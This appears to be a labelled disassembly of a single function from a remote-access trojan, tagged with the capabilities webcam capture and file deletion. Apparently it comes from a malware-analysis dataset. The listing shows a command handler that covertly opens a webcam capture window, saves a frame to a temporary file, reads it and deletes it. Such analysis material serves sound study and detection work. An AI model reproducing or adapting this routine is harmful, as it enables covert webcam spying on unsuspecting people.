Function at 0x3000f954
Capabilities:
Capture webcam image
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x3000f95c
push ecx
push ebx
push esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.3000217c
xor eax, eax
push ebp
push 0x3000fcc5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 4]
lea eax, [ebp - 0x10]
push eax
mov ecx, 1
mov edx, 0x3000fcdc
mov eax, dword [ebp - 8]
call fcn.300071dc
mov eax, dword [ebp - 0x10]
call fcn.30001f94
mov ecx, eax
inc ecx
lea eax, [ebp - 8]
mov edx, 1
call fcn.30002228
mov eax, dword [ebp - 0x10]
mov edx, 0x3000fce8
call fcn.300020d8
jne 0x3000f9ef
push ebp
push dword [ebp - 0x10]
push 0x3000fcdc
lea eax, [ebp - 0x1c]
call fcn.30009404
push dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.30002054
mov eax, dword [ebp - 0x18]
call fcn.3000f8d0
pop ecx
mov eax, dword [ebp - 0x10]
mov edx, 0x3000fcf8
call fcn.300020d8
jne 0x3000faf3
call fcn.3000274c
cmp dword [eax + 0x14], 0
je 0x3000fa4e
push 0
push 0
push 0x40b
call fcn.3000274c
mov eax, dword [eax + 0x14]
push eax
call sub.user32.dll_SendMessageA
push 0
push 0
push 0x10
call fcn.3000274c
mov eax, dword [eax + 0x14]
push eax
call sub.user32.dll_SendMessageA
call fcn.3000274c
xor edx, edx
mov dword [eax + 0x14], edx
push 0
call sub.user32.dll_GetDesktopWindow
push eax
push 0
push 0
push 0
push 0
push 0
push 0x3000fd00
call sub.avicap32.dll_capCreateCaptureWindowA
mov esi, eax
call fcn.3000274c
mov dword [eax + 0x14], esi
push 0
mov eax, dword [ebp - 8]
call fcn.300076b0
push eax
push 0x40a
call fcn.3000274c
mov eax, dword [eax + 0x14]
push eax
call sub.user32.dll_SendMessageA
dec eax
je 0x3000fae7
push 0
push 0
push 0x40b
call fcn.3000274c
mov eax, dword [eax + 0x14]
push eax
call sub.user32.dll_SendMessageA
push 0
push 0
push 0x10
call fcn.3000274c
mov eax, dword [eax + 0x14]
push eax
call sub.user32.dll_SendMessageA
call fcn.3000274c
xor edx, edx
mov dword [eax + 0x14], edx
push ebp
mov eax, 0x3000fd18
call fcn.3000f8d0
pop ecx
jmp 0x3000faf3
push ebp
mov eax, 0x3000fd28
call fcn.3000f8d0
pop ecx
mov eax, dword [ebp - 0x10]
mov edx, 0x3000fd3c
call fcn.300020d8
jne 0x3000fb40
push 0
push 0
push 0x40b
call fcn.3000274c
mov eax, dword [eax + 0x14]
push eax
call sub.user32.dll_SendMessageA
push 0
push 0
push 0x10
call fcn.3000274c
mov eax, dword [eax + 0x14]
push eax
call sub.user32.dll_SendMessageA
call fcn.3000274c
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 0x10]
mov edx, 0x3000fd50
call fcn.300020d8
jne 0x3000fc93
call fcn.3000274c
cmp dword [eax + 0x14], 0
je 0x3000fcaa
push 0
push 0
push 0x43c
call fcn.3000274c
mov eax, dword [eax + 0x14]
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x20]
call fcn.30007c14
lea eax, [ebp - 0x20]
mov edx, 0x3000fd64
call fcn.30001f9c
mov eax, dword [ebp - 0x20]
call fcn.3000218c
push eax
push 0
push 0x419
call fcn.3000274c
mov eax, dword [eax + 0x14]
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x28]
call fcn.30007c14
lea eax, [ebp - 0x28]
mov edx, 0x3000fd64
call fcn.30001f9c
mov eax, dword [ebp - 0x28]
call fcn.3000218c
mov edx, eax
lea eax, [ebp - 0x24]
call fcn.30001f1c
mov eax, dword [ebp - 0x24]
call fcn.3000f86c
mov esi, eax
mov eax, dword [ebp - 8]
call fcn.300076b0
mov edx, eax
lea ecx, [ebp - 0xc]
mov eax, esi
call fcn.30007a6c
lea eax, [ebp - 0x2c]
call fcn.30007c14
lea eax, [ebp - 0x2c]
mov edx, 0x3000fd64
call fcn.30001f9c
mov eax, dword [ebp - 0x2c]
call fcn.3000218c
push eax
call sub.kernel32.dll_DeleteFileA
cmp dword [ebx + 0x14], 0
jne 0x3000fc37
mov eax, dword [ebp - 0xc]
call fcn.30001f94
mov edx, eax
lea ecx, [ebx + 0x14]
mov al, 0x25
call fcn.30002378
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
call fcn.30001f94
mov ecx, eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebx + 0x14]
call fcn.3000cae0
lea eax, [ebx + 0x14]
mov edx, dword [ebp - 0xc]
call fcn.30001e44
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x14]
call fcn.30005688
mov edx, dword [ebp - 0x30]
lea eax, [ebp - 0x14]
call fcn.30001e88
push ebp
push dword [ebp - 0x10]
push 0x3000fcdc
push dword [ebp - 0x14]
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.30002054
mov eax, dword [ebp - 0x34]
call fcn.3000f8d0
pop ecx
mov eax, dword [ebp - 0x10]
mov edx, 0x3000fd74
call fcn.300020d8
jne 0x3000fcaa
lea eax, [ebx + 0x14]
call fcn.30001df0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3000fccc
lea eax, [ebp - 0x34]
mov edx, 0xc
call fcn.30001e14
ret